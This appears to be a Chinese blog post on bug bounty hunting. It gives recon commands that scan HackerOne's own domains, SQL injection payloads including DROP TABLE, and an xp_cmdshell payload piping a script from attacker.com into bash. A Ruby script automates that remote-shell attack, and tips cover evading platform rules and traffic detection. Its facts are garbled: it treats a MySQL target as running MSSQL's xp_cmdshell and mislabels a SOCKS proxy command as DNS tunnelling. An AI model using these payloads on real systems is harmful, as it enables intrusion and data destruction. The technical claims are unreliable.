一、从一个漏洞赏金挖掘的真实故事说起
几个月前，我的团队受雇于一家科技公司，目标是通过漏洞赏金平台提交其产品的安全漏洞。公司希望验证其防御能力，同时获取实际的威胁情报。任务的初衷很简单，但当我开始深入研究时，发现了许多未被人注意的攻击入口。通过一系列的链式攻击，我成功提交了一个远程代码执行（RCE）漏洞，奖励金额高达$15,000。这篇文章，我将带你透过技术细节，完整展示漏洞赏金平台的工作流程、利用技巧，以及如何利用这些平台构建威胁情报地图。
二、漏洞赏金平台的战场地图
在渗透测试和漏洞挖掘中，选择合适的漏洞赏金平台至关重要。这些平台有助于研究员接触到各种目标，同时帮助企业修复漏洞。以下是一些主流漏洞赏金平台的分类和特性：
1. 主流平台分类
a) 公共漏洞赏金平台
代表：HackerOne、Bugcrowd、Intigriti 这些平台覆盖了从初创公司到跨国企业的各种项目。它们通常提供详细的规则、范围和奖励金额信息。
b) 私密漏洞赏金平台
代表：Synack、Cobalt 私密平台通常需要申请或邀请，测试目标也相对高价值，但攻击范围和规则更加严格。
c) 自建漏洞赏金平台
一些大型企业选择在自己的系统中运行漏洞赏金计划（如Microsoft、Google）。这些平台相对封闭，但奖励丰厚。
2. 平台选择策略
选择合适的平台时，你可以从以下几个维度来综合判断：
- 目标资产范围：寻找与自己擅长领域相关的目标。
- 奖励金额：评估平台的赏金政策，优先选择奖励高的目标。
- 规则宽松度：规则越开放，攻击面越大，研究机会也更多。
3. 漏洞赏金平台情报搜集
在进入实际攻击前，情报搜集是一项重要的前置工作。以下是一种高效的目标情报搜集策略：
<pre><code class="language-bash"># 使用 amass 对目标平台的子域名进行爆破 amass enum -d hackerone.com -o hackerone_subdomains.txt
使用 httpx 批量验证子域名是否存活
cat hackerone_subdomains.txt | httpx -silent -o live_hackerone_subdomains.txt
使用 nmap 扫描子域名的开放端口和服务
nmap -iL live_hackerone_subdomains.txt -p- -sV -oN hackerone_services.txt</code></pre>
通过以上方法，我们可以获得目标平台的子域名存活情况以及服务信息，为后续漏洞挖掘打下基础。
三、攻击链的构造技巧
在漏洞赏金计划中，攻击链的构造通常是高奖励漏洞的关键。以下通过一个实际案例，展示如何构建完整的攻击链。
1. 攻击目标：某金融服务平台
通过情报收集，我发现目标平台的一个子域名存在未授权访问的 REST API 接口。分析发现，该接口支持动态SQL查询。以下是攻击链的核心过程：
a) SQL注入点的发现
通过抓包工具（如Burp Suite）拦截API请求，发现以下POST参数可以被注入：
<pre><code class="language-json">{ "query": "SELECT * FROM users WHERE id = '1'" }</code></pre>
将参数替换为恶意负载：
<pre><code class="language-json">{ "query": "SELECT * FROM users; DROP TABLE sensitive_data;" }</code></pre>
测试后确认该接口存在SQL注入漏洞。
b) 数据库信息泄露
利用以下Payload，获取数据库版本信息：
<pre><code class="language-sql">1' UNION SELECT @@version -- </code></pre>
返回结果为MySQL 5.7.29，确认数据库版本后，着手构建更复杂的Payload。
c) 构造RCE攻击链
通过进一步探测，发现目标数据库存储过程中存在动态执行命令的功能。利用以下Payload，实现RCE攻击：
<pre><code class="language-sql">1'; EXEC xp_cmdshell('curl http://attacker.com/shell.sh | bash') --</code></pre>
攻击成功后，目标服务器返回Shell连接。
2. Ruby代码实现EXP
以下是本次RCE漏洞的EXP代码，用于自动化执行攻击：
<pre><code class="language-ruby">require 'net/http' require 'uri'
设置目标URL和Payload
url = 'https://vulnerable-target.com/api/query' payload = "1'; EXEC xp_cmdshell('curl http://attacker.com/shell.sh | bash') --"
构造POST请求
uri = URI(url) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true
request = Net::HTTP::Post.new(uri.path, {'Content-Type' => 'application/json'}) request.body = {query: payload}.to_json
发送请求并输出响应
response = http.request(request) puts response.body</code></pre>
通过这段代码，可以将攻击流程完全自动化，快速验证漏洞的存在。
四、绕过规则的艺术
在漏洞赏金平台中，绕过规则是另一项重要技能。以下是几个常见的绕过技巧：
1. 绕过协议限制
有些平台限制某些协议的使用（如FTP、SMTP），但你可以伪装流量，绕过检测。例如，使用DNS隧道技术绕过防火墙：
<pre><code class="language-bash">ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' target.com</code></pre>
2. 隐藏攻击流量
使用流量混淆工具（如obfs4）隐藏攻击特征：
<pre><code class="language-bash">obfs4proxy -enable -target https://vulnerable-target.com</code></pre>
通过伪装流量，可以有效规避平台对异常流量的检测，增加攻击成功率。
五、检测与防御的双面博弈
虽然本文从攻击者视角出发，但任何漏洞赏金计划最终目的都是提升防御能力。在此分享一些检测与防御的技巧：
1. 强化输入验证
攻击者的SQL注入和RCE攻击，往往依赖于对输入数据的控制。企业应加强对输入的验证，使用参数化查询避免注入风险。
2. 提升日志审计能力
攻击者的每一步操作都会在日志中留下痕迹。通过启用详细的审计日志，安全团队可以快速识别异常操作。
3. 借助AI提升威胁检测
使用机器学习算法分析平台的全量流量数据，可以更早发现异常行为。
六、个人心得：如何成为漏洞赏金猎人中的王者
想在漏洞赏金计划中脱颖而出，以下几点经验值得参考：
- 深入学习特定领域：成为Web、API或移动端的专家，专注深耕。
- 保持工具链更新：熟练掌握Burp Suite、Metasploit等工具，并根据需要开发自用工具。
- 参与社区交流：活跃在公开漏洞赏金平台的论坛，学习他人成功案例。
希望这篇文章能为你的漏洞挖掘之路提供一些新的思路。记住，保持好奇心和攻击者的视角，才能在漏洞赏金平台中占据主动！